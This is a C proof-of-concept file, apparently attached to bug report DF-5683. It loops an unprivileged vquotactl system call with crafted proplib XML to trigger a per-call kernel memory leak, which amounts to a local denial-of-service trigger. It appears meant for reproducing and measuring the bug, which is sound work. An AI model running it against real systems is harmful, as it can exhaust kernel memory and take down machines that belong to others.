DF-5683 / vq_leak_loop.c
/* * DF-5683 — tight in-process driver for the sys_vquotactl() per-call leak. * Issues vquotactl(2) (syscall 530) directly with hand-crafted proplib XML: * <plist><dict> * <key>command</key><string>get usage all</string> * <key>arguments</key><string>x</string> * </dict></plist> * (the "arguments" value type is irrelevant — sys_vquotactl only checks * it is present; vfs_quota.c:367-372). * * The kernel copyout path mmap()s the result into our address space * (_prop_object_copyout, prop_kern.c:520-531); we munmap it so the only * thing that grows is the KERNEL-side leak. * * Build: cc -O2 -o vq_leak_loop vq_leak_loop.c * Run: ./vq_leak_loop <mount> <iterations> (as unprivileged user) */ #include <sys/types.h> #include <sys/syscall.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #ifndef SYS_vquotactl #define SYS_vquotactl 530 #endif struct plistref { void *pref_plist; size_t pref_len; }; static const char xml[] = "<plist><dict><key>command</key><string>get usage all</string>" "<key>arguments</key><string>x</string></dict></plist>"; int main(int argc, char **argv) { const char *mount = argc > 1 ? argv[1] : "/"; long iters = argc > 2 ? atol(argv[2]) : 1000; long i; struct plistref pref; int rc, errors = 0; for (i = 0; i < iters; i++) { pref.pref_plist = (void *)(uintptr_t)xml; pref.pref_len = sizeof(xml); /* includes NUL */ rc = syscall(SYS_vquotactl, mount, &pref); if (rc != 0) { if (errors++ < 3) fprintf(stderr, "iter %ld: vquotactl rc=%d errno=%d (%s)\n", i, rc, errno, strerror(errno)); if (errno == EOPNOTSUPP || errno == EFAULT || errno == EPERM) exit(2); } /* kernel _prop_object_copyout mapped [pref_plist, +round_page(len)) */ if (pref.pref_plist != (void *)(uintptr_t)xml && pref.pref_plist != NULL) munmap(pref.pref_plist, pref.pref_len); } printf("did %ld vquotactl(get usage all) on %s, %d errors\n", iters, mount, errors); return errors ? 1 : 0; } |